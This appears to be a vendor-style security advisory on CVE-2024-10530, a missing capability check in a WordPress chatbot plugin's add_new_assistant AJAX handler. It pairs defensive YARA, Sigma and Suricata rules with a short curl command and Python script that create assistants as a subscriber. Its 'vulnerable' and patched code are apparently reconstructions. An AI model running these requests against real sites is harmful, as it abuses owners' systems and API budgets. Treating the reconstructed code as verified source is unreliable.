CVE-2024-10530

Executive Summary

CVE-2024-10530 is a Missing Authorization vulnerability in the Kognetiks Chatbot for WordPress plugin, affecting all versions up to and including 2.1.7. This flaw allows authenticated attackers with subscriber-level access or higher to create new GPT assistants without proper capability checks. The vulnerability resides in the add_new_assistant() function, which lacks a current_user_can() check, enabling unauthorized modification of data. The CVSS score is 4.3 (Medium), with a low attack complexity but requiring authentication. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Kognetiks Chatbot plugin integrates OpenAI's GPT assistants into WordPress sites. The missing capability check allows low-privileged users (subscribers) to create assistants, potentially leading to resource abuse or data manipulation. Since WordPress does not natively restrict plugin-level capabilities, this flaw bypasses the intended role-based access control.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to integrity (creation of assistants), the low barrier to entry (subscriber access) and lack of patch make it a viable target for privilege escalation or resource abuse.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) in the add_new_assistant() function of the Kognetiks Chatbot plugin. The function is intended to be called via AJAX or direct POST requests, but it does not verify that the current user has the required capability (e.g., manage_options or edit_posts). This allows any authenticated user, including subscribers, to invoke the function and create new GPT assistants.

Root Cause: The add_new_assistant() function is registered via add_action('wp_ajax_add_new_assistant', 'add_new_assistant') but lacks a capability check like if (!current_user_can('manage_options')) wp_die('Unauthorized');.

Attack Flow:

1. Attacker authenticates as a subscriber (e.g., via compromised credentials or self-registration).
2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=add_new_assistant and required parameters (e.g., assistant name, model).
3. The plugin creates a new GPT assistant without checking the user's role.
4. The attacker can then use the assistant for malicious purposes (e.g., generating spam, exfiltrating data via API calls).

Impact: Unauthorized creation of GPT assistants could lead to:

• Resource consumption (API costs for the site owner).
• Data leakage if assistants are configured to access sensitive data.
• Reputation damage if assistants generate inappropriate content.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.1.7):

function add_new_assistant() {
    // No capability check
    $assistant_name = sanitize_text_field($_POST['assistant_name']);
    $model = sanitize_text_field($_POST['model']);
    // ... create assistant via OpenAI API
    wp_die();
}
add_action('wp_ajax_add_new_assistant', 'add_new_assistant');

Patched Code (hypothetical):

function add_new_assistant() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $assistant_name = sanitize_text_field($_POST['assistant_name']);
    $model = sanitize_text_field($_POST['model']);
    // ... create assistant via OpenAI API
    wp_die();
}
add_action('wp_ajax_add_new_assistant', 'add_new_assistant');

Key Difference: The patched version adds a current_user_can('manage_options') check, restricting assistant creation to administrators.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Kognetiks Chatbot plugin <= 2.1.7.
• Valid subscriber account credentials.

Exploitation Steps:

1. Log in as a subscriber.
2. Craft a POST request to create a new assistant:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=add_new_assistant&assistant_name=MaliciousAssistant&model=gpt-4" \
  --cookie "wordpress_logged_in_xxx=..."

3. Verify assistant creation via the plugin's admin interface or API.

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "your_cookie"}
data = {
    "action": "add_new_assistant",
    "assistant_name": "PwnedAssistant",
    "model": "gpt-3.5-turbo"
}
r = requests.post(target, data=data, cookies=cookies)
print(r.text)

Blue Team (Defender)

Detection:

• Monitor admin-ajax.php requests for action=add_new_assistant from non-admin users.
• Alert on creation of GPT assistants outside normal business hours.
• Review subscriber accounts for unusual activity.

Mitigation:

• Apply the hypothetical patch (add capability check).
• Disable the plugin if not needed.
• Restrict user registration to prevent subscriber account creation.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=add_new_assistant from low-privilege users.
• Logs: WordPress debug logs showing add_new_assistant function calls without admin context.
• File: Modified plugin files (if attacker uploads malicious version).
• Behavior: Unexpected GPT assistants appearing in the plugin's admin interface.

Detection Engineering

YARA Rule

rule Detect_Kognetiks_Chatbot_Missing_Auth {
    meta:
        description = "Detects vulnerable Kognetiks Chatbot plugin code (missing capability check)"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-10530"
    strings:
        $func = "function add_new_assistant()" ascii
        $ajax = "add_action('wp_ajax_add_new_assistant'" ascii
        $no_check = "current_user_can" ascii wide nocase
    condition:
        $func and $ajax and not $no_check
}

Sigma Rule

title: Kognetiks Chatbot Unauthorized Assistant Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-10530 by creating GPT assistants without proper authorization.
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'action=add_new_assistant'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-10530 Kognetiks Chatbot Unauthorized Assistant Creation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=add_new_assistant"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict user registration to prevent subscriber account creation.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the vendor patch when available (add current_user_can('manage_options') check).
• Implement a Web Application Firewall (WAF) rule to block action=add_new_assistant from non-admin users.
• Conduct a security audit of all WordPress plugins for similar missing authorization issues.

Workaround:

• Add the following code to the theme's functions.php to override the vulnerable function:

add_action('wp_ajax_add_new_assistant', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Original function logic here
}, 1);

Valters IT
Securing Digital Frontiers